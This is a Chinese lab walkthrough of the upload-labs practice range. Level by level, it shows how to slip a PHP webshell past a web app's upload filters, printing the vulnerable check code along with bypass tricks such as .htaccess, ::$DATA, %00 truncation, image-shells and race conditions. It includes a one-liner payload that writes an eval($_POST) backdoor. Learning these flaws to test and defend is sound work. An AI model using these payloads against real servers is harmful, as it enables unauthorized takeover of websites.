说在最前面,因为我嫌麻烦,所以我的一句话基本都是写在"1.jpg"里面的,每做一道题,我就会在后台upload文件夹把刚才上传的文件删掉,这样,下一题我直接传同样文件(我实在懒得复制又新建)。所以大家可能看到的永远都是那个"1.jpg" "1.php" "2.jpg"等等,看得懂就行哈。
第1-10关:前端验证、文件类型验证、黑名单绕过
黑名单是规定不允许上传的文件,但是如果黑名单定义不完整的话是可以实现绕过的
ps:1-10为黑名单绕过,而且只是验证一次,这些关卡全部可以用".php. ."思路解出来。但是建议老实一关一关过,通过练习,掌握一些上传漏洞利用方法。
一、第一关:JS前端验证绕过
什么是webshell??一些个webshell小知识请移步。打开WebShell_笨小孩@GF 知行合一的博客-CSDN博客_webshell
按照界面的要求,直接传webshell肯定不行限定了要传图片。(当然,不可能正经上传图片的,图片无法执行,对获取网站权限没有任何帮助。必定是要上传一个可执行文件,不然就不叫webshell了。)
思路一:先来写一个一句话(随便写一个常规的一句话木马)php。然后改成允许上传的格式(通过查看源代码发现格式要求:jpg/png/gif。大佬说这是前端验证。前端验证有个技巧,就是开启代理,但是没有流量就直接进行了验证),通过burp抓包,改后缀后重新的上传。完成一句话的php webshell上传。
ok,写一个一句话木马。
根据前端规则,先把后缀改php?
?
设置代理,?打开burp,准备上传。(我是火狐浏览器)?
点击上传之后,咱们的burp就抓到包了。(提醒一下大家,配置uploadlabs的时候,要自己建upload文件夹,不然没有上传路径。另外,访问自己配置大靶场时,将127.0.0.1换成自己的IPV4网址,同时,burp设置的时候,在proxy-options要勾选127.0.0.1:8080,不然抓不到包)真的很狗,我配置靶场的时候80端口不能用,后来我换了8080端口,结果burp设置proxy-options的时候也是8080,又冲突了,我只好给靶场再换一个端口,真的会谢。
右键-send to repeater,改后缀为“.php”,然后点击“send”
?OK,有正常回显(右边response)。上传成功。正常回显。
?(从验证的角度自己看看自己的靶场upload文件夹是不是多了个文件了,哈哈就是上传成功了。当然真的渗透测试的时候不能这样看啦哈哈)
?上传到这里就完成啦,下一步如果要查看该网站的目录或者提权什么的,就是下一步的工作啦(用蚁剑连接,根据刚才的说一句话木马,连接密码是“a”)。
思路二:将浏览器js代码禁用掉(但是这种方法有缺陷,因为禁用了js代码,在实战中可能会让网站的一些正常功无法显示)
还记得刚刚的源代码吗?可以看到是js,所以想办法让他没办法正常执行就可以直接上传webshell,不必理会他所说的什么必须上传jpg、png、gif格式。
禁用办法:?右键---检查---调试器---设置---禁用JavaScript。(快捷方式:f12---f1)
注意看奥,直接上传的“.php”格式的可执行文件。
?回到upload文件夹验证下:ok,的确上传成功了,没有弹窗提示
思路三:将网站源码复制下来,放到本地,然后将js代码删除。(必须要掌握的办法)
右键---查看网站源代码---全部复制---创建一个记事本---将代码放进去---把记事本后缀名改为.html---用Notepad打开---找到js代码---删除
?如果我们打开,是有上传文件的界面,但是不知道要上传给谁
这时我们返回到原靶场,右键---检查---网络---上传图片。可以查看上传路径。
重新用Notepad打开我们刚才复制后编辑的html文件,修改action,在源代码中加一个提交的路径。?
?访问html-选择“1.php”-上传(这里我提醒一下,注意看上图,upload的是“1.php”,所以记得还是要选这个名字的文件,不然其他的传不上去,我也不知道为什么)
上传成功以后会跳转成正常的界面(之前点击自己编辑保存的html就是个很崴的拉跨界面,和原靶场界面有出入,但不知道为什么文件上传成功以后,就变正常了)。
咱们验证下,可以直接查看自己的靶场的upload文件夹,看看上传成功没。或者直接访问该文件的位置(就是action位置加/文件名),可以正常访问的话就没问题。
ps:事实上,该操作如果有firebug插件,应该可以直接在网页编辑调试,但是升级以后,火狐下架了该插件,我又不知道怎么直接使用devtools来尽心编辑调试,有知道的大佬,希望指点迷津。
二、第二关:也是上传webshell到服务器。
看了下源码,没有个所以然。(后来看了下别人的思路,别人的源代码是有相关的限制的,但是我的看不到,不知道为啥。)
?上传一个php看看。
ok,抓包看看
思路一:由于原网站要求上传图片格式的文件,所以,要修改content type为MIME格式
常见的格式如下:
图片格式 | MIME |
---|
.gif | image/gif | .png | image/png | .jpg | image/jpeg | .bmp | image/bmp | .webp | image/webp | .icon | image/x-icon | 其他 | image/vnd.microsoft.icon |
随便选一种就行,我选jpg。send,有回显,ok,上传成功。
?第三关:上传一个脚本文件 到服务器,并能成功执行。
看下源代码,有很多过滤函数,还有禁止上传的类型。
代码中的第一个循环是判断你有没有点击上传按钮,如果有进入下一个循环。
file_exists判断的是声明的上传目录是否存在,如果存在就执行下面的上传验证。
trim函数是用来把获取过来的文件名中的空格给删除掉
deldot函数删除文件名末尾点防止多后缀名欺骗,比如说你上传1.jpg.png.php,他接受的是1.jpg但是他是以最后一个. 为准也就是说他最终上传上去的是1.php
strrchr函数是分割字符,作用是把.前面的东西删除掉只剩下后缀名(得到你文件的真实后缀)
strtlolwer函数把真实后缀名转为小写
str_ireplace函数是把::$DATA替换为空,最后再用trim函数进行空格过滤。
基本上能过滤的都过滤了,但是在禁止上传的脚本后缀那里可以想办法绕过。
思路:特殊解析后缀绕过。
让代码检测不出上传的webshell是黑名单里面禁止的,且是正常执行出后门代码。
补充一个知识:apache服务器能够使用php解析“.php3”、“.php5”和“phtml”、"pht"、“phps”的,所以如果配置文件里面有这几个格式并且打开的话是能执行出相同效果的。所以这一关的思路是通过其他格式后缀实现同样解析php。
(ps:用php5或者php3解析成php的前提条件apache的httpd.conf配置文件里面一定要有这几个格式,不然的话执行不了。代码为:
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
说明可以通过上传.phtml|.phps|.php5|.pht 这些后缀名的文件,且他们都会被解析称后缀为.php 的文件。所以可以尝试使用上传xxx.php5 这类的文件进行绕过
补充知识——关于AddType命令的作用:在给定的文件扩展名与特定的内容类型之间建立映射 语法:AddType MIME-type extension [extension] … AddType指令在给定的文件扩展名与特定的内容类型之间建立映射关系。MIME-type指明了包含extension扩展名的文件的媒体类型。AddType 是与类型表相关的,描述的是扩展名与文件类型之间的关系。
直接将后缀改为php5上传(或者其他几个格式试试)
?回到靶场upload文件夹看下。ok,上传成功了。(当然,也可以直接访问该文件位置,但是我的apache事实上是没有配置这个的,所以直接访问无法解析执行哈哈)
?第四关:拿到一个shell
看看源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
?可以看到deny部分不允许上传的文件类型非常多:
".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf"
思路:黑名单没有.htaccess,我们可以上传.htaccess文件更改apache配置,使用.htaccsess 文件进行绕过。
.htaccsess文件的作用:
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。
.htaccsess文件的使用条件:
1 2 | mod_rewrite模块开启。 AllowOverride All |
第一步:ok,来新建一个“.htaccess"文件,里面写上代码:
?(这串代码的意思是如果文件中有一个“1.png”的文件,他就会被解析为“.php”)
第二步:上传(别管,其实这里的上传可以直接上传,不用burp)。(注意.htaccess文件不能起名字,他就是.htaccess文件,如果你将他改为4.htaccess或者其他的什么名字是不可以的,无法解析。在实战中有可能上传上去这个文件会被自动重命名,被重命名了就不可以了。)
回到靶场的upload文件夹查看,上传成功。
?第三步:上传1.jpg图片马
?上传结束以后,我访问就是不存在,不知道为什么,希望来个大佬指点迷津。
?网上找了下教程,修改了配置文件。ok还是没有解决问题。西叭。
蚁剑连接看看,返回数据为空?
第五关:同样的上传webshell
思路一:利用大小写绕过
先看源码,源码部分又多限制了“.htaccess”文件类型,细看大小写过滤并不全,可以混合大小写进行利用。
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess")
先上传图片马,然后通过burp,修改后缀为“.PhP”,点击send?,成功回显。
?验证下看看:
?第六关:空格绕过
看下源码,基发现过滤条件没有首尾去空格(file_ext = trim那个函数)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
?思路:上传文件后抓包,手动敲空格后提交。
但是move upload fie()感觉有点问题没有权限去移动,我试着把这几个路径的文件夹都设置为evryone都可以访问与写入,仍然不行。后来发现是php版本的问题,换成了5.3就ok了,问题界面如下,希望可以给排查的同学一些参考。
成功了如下:
?验证看看,没有问题
第七关:点号绕过
查看源码,发现没有使用deldot()过滤文件名末尾的点。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
思路:上传一个jpg格式的马,然后用burp改名后send。(通过在文件名后缀之后多加一个点,绕过。)
看下靶场后台是否传入成功了
用蚁剑连接试试,也没问题。?
第八关:特殊字符“::$DATA"绕过
先看下源码,没有过滤"::$DATA".
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
思路:直接在文件名的末尾加"::$DATA"
原理:php在windows的时候,如果文件名+"::$DATA",会把"::$DATA"之后的数据当作文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名。他的目的就是不检查后缀名。
先上传一个".jpg"格式的马。然后burp抓包添加"::$DATA",然后send
验证看看
连接看看
?第九关:利用循环的bug绕过
ps:小知识——deldot()函数从后向前检测,当检测到末尾的第一点时候会继续他的检测,但是遇到空格就会停下来。
根据源代码,我们可以发现,它没有循环验证(if里边的函数比如首尾去空、删除末尾的点、去除字符串::$DATA,转换为小写这些东西只是验证了一次),该代码只删除一次点且只去除一次首尾空格,在windows环境下就可以用"xxx.php. ."
这样验证过程就变成了:首先他会去掉末尾的第一个".",并发现有一个空格" ",也会把它去掉,剩下来的就是".php. ",由于他只是验证一次,所以不会在去掉我们的点,这时就可以上传成功,也可以解析成功。
直接上传之前的"1.jpg",bup抓包,然后改"1.jpg. .",然后send,ok成功。
?第十关:双写绕过
思路:先看源码,str_ireplace()函数寻找文件名中存在的黑名单字符串,把他替换成空(即删除),所以可以使用双写绕过。
ps:小知识——str_replace(find,replace,string,count)函数替换字符串中的一些字符,不区分大小写
?上传,ok,成功?
11-20关:白名单绕过
第十一关:%00截断(我做出来有点问题)
看看源码,发现之前的循环里有deny的判断。现在直接是ext。只有文件格式是jpg ,png ,gif 的时候才上传文件,就是所说的白名单。
substr()函数是返回字符的一部分,strrpos(string,find,start)函数查找字符串中最后一次出现的位置。 这里是将后缀名提取出来赋值给 f i l e_?e x t , 之 后 拼 接 到 了 文 件 路 径 后 面? 。 所以可以抓包修改get的参数,然后使file_ext无效,这样就可以上传PHP文件; ps:%00截断的知识点——在URL中%00表示ASCII码中的0,而0作为特殊字符保留,表示字符结束,当url中出现%00时就会认为读取已结束,这里也是利用这一性质才能使$_file_ext无效;
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = '上传失败!';
}
}
else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
可以看到"img_path = $GET"用的是get的方式,也就是在url当中需要对00进行url编码,编码以后就是"%00",只能用于php版本低于5.3.4的。
(有说低于5.5的,有说低于5.3的,反正没看到个准。我是5.3.2,反正一直不行,不清楚是不是版本的原因导致的问题。而且低于5.3版本的phpstudy只有5.2可选,但是不能下载。比如下图)
除了版本以外,还需要关闭magic_quotes_gpc。
方法:设置-配置文件-点击php版本-打开php.ini-搜索"magic_quotes_gpc"-修改为“Off”-重启一下服务。?上传1.jpg的shell,burp抓包,在"save_path"处加上"1.php%00",然后send。
但有个地方我不明白,不知道是我的php版本有问题吗还是我的burp有问题,上传以后的回显,看不到文件的上传路径(如果不知道路径后续无法访问,也无法使用蚁剑连接),在这过程中,也一直没有上传成功(我直接在后台upload文件夹看的hah)
第十二关:post 00截断(此关遇到了和上一关一样的问题)di
看源码发现save_path是通过post传进来的,同样利用00截断,因为post不会像get对%00进行自动解码。
先上传"1.jpg"-在"save_path"那后面加"1.jpg%00"-选中"%00"-右键-convert selection-URL-URL decode
?编码以后效果如下:(看起来好像什么都没有,但实际上编码了)
和上题一样的问题,回显没有报错,但是有那种看起来编码错误的东西。而且我看了靶场后台并没有上传成功。
?第十三关:图片马unpack
看源码:
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
}
思路:rb是读取二进制文件,后面的fread函数只读两字节,也就是说只对文件头进行了检测,所以可以直接上传图片马。 unpack(format,data)函数是规定在解包数据时所使用的格式,这里是文件头按照c格式解包; intval() 函数用于获取变量的整数值; 网上说有文件包含漏洞,但是我这里并没有include.php文件,所以我是直接上传的图片马,方法直接有记。 ?
用图片+php代码,组成一个图片码进行上传,再加上网站本身存在的包含漏洞,就能完成解析。 首先制作一个图片码
可以直接用Notepad直接打开图片后面加一个php代码,但是需要16进制,要不然图片可能出错。 也可以cmd进行生成,命令语句:copy 13.png /b + 13.php /a 66.png 如图所示
第一步:生成图片马
(sos,怎么没有人说,生成的文件要自己去搜索啊,找了半天没找到,结果和桌面在同一级目录下,然后我给他拖到桌面了)
这里看了一个教程,可以设置。到时候生成在同目录下。不放链接了,放一个截图大家自己去找,免得非csdn的连接到时候给我审核不通过。
第二步:上传
上传后看文件名字?
?第三步:访问
直接访问图片并不能把图片当做PHP解析,因此还需要利用文件包含漏洞。但是我这里没有include.php,就没办法了。不知道是靶场代码遗漏还是怎么的。
思路的话就是访问http://localhost/upload-labs/include.php?file=uploade/3620221018220458.png
注意看图片的名字是第二步看到的。因为按照代码的意思,上传成功后会重命名。所以得看了位置和名字再访问。
第十四关:getimagesize图片马
先看下源码
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
}
跟上一关不同,这一关有一个这个getimage()函数。简单地说,他会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求,即检测是否为图片文件。
$info = getimagesize($filename);
getimagesize()函数知识:用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。 语法格式: array getimagesize ( string KaTeX parse error: Expected 'EOF', got '&' at position 19: …ename [, array &?imageinfo ] ) getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。 所以此关和上一关思路相同,直接上传图片马然后利用文件包含漏洞进行解析就ok。
第十五关:exif_imagetype 图片马
看看源码:
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
}
这一关出现了新函数:exif_imagetype() ,他的作用是读取一个图像的第一个字节并检查其签名。
思路:文件头部符合图片条件就行(所以按照前两关,同样用图片马就能绕过)
顺便mark常见的文件头部格式:常用文件的文件头_ChaoYue_miku的博客-CSDN博客_文件头大全
这里需要开启php_exif模块。小皮-设置-配置文件-php.ini(我看了下本身就是开着的)
用前两关相同的上传办法。
第十六关:二次渲染绕过
?看下源码:(我觉得这源码长得都不想看了。但是其实注释得蛮清楚的。)
对上传图片判断后缀名 、content-type ,利用imagecreatefromgif 判断是否为gif 图片,最后再做了一次二次渲染。
思路:gif图片马+找到渲染后的图片里面没有发生变化的Hex地方,添加一句话木马,通过文件包含漏洞执行一句话,使用蚁剑进行连接。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=$UPLOAD_ADDR.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagejpeg($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagepng($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagegif($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
补充知识:
二次渲染:后端重写文件内容 basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名 strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。 imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像 imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像 imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像 参考:Upload-labs 1-21关 靶场通关攻略(全网最全最完整)_晚安這個未知的世界的博客-CSDN博客_upload靶场通关
思路:将php代码写到渲染前后没有变化的位置,就可以成功上传一句话木马的图片
先像之前一样,上传图片马,?访问发现未执行代码。另存为上传后的图片与原图片(66)比对发现,该图片内容发生了改变,我们的代码没有了。
所以要想办法把代码写到不会被二次渲染删除的地方,这就需要比对了,只能通过脚本比对。当然有个大佬写了个二次渲染专用的gif图片嘻嘻。
ok。直接用大佬的图拿来上传,虽然他提示了,但是,还是上传成功了。?
之后利用网站的包含漏洞,通过蚁剑连接就行。
第十七关:条件竞争
看源码:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = $UPLOAD_ADDR . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
unlink($upload_file);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传失败!';
}
}
从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。 ?
如果我们在上传上去的一瞬间访问这个文件(代码执行需要时间,在一句话被删除之前访问到,就没有问题),那他就不能对这个文件删除、二次渲染。这就相当于我们打开了一个文件,然后再去删除这个文件,就会提示这个文件在另一程序中打开无法删除。
思路:利用burp多线程发包,然后不断在浏览器访问我们的webshell ,会有一瞬间的访问成功。
参考大佬的思路,把一句话木马换成了"<?php fputs(fopen('77.php','w'),'<?php @eval($_POST["a"])?>');?>",这样如果访问成功则会生成"77.php"文件。
第一步:上传“1.php”并抓包发送给intruder
第二步:点击?clear
第三步:设置空的payload
?第四步:配置线程(我直接默认的,我的burp版本和网上的似乎不太一样,没找到修改线程的地方??????????)diwu
点击“attack”,开始不停的重放
?第五步:写一个python不停访问上传文件的脚本,(即如上图显示的1.php 文件)?
出现了ok,那么"77.php"也生成了。我们去靶场后台看看,的确是!如下:
?ok,蚁剑连接就行
第十八关和十九关不知道是不是因为我的php版本问题,或者我的burp有问题,始终存在有不明乱码的情况,没有办法继续做。所以看看其他大佬的思路就行。
|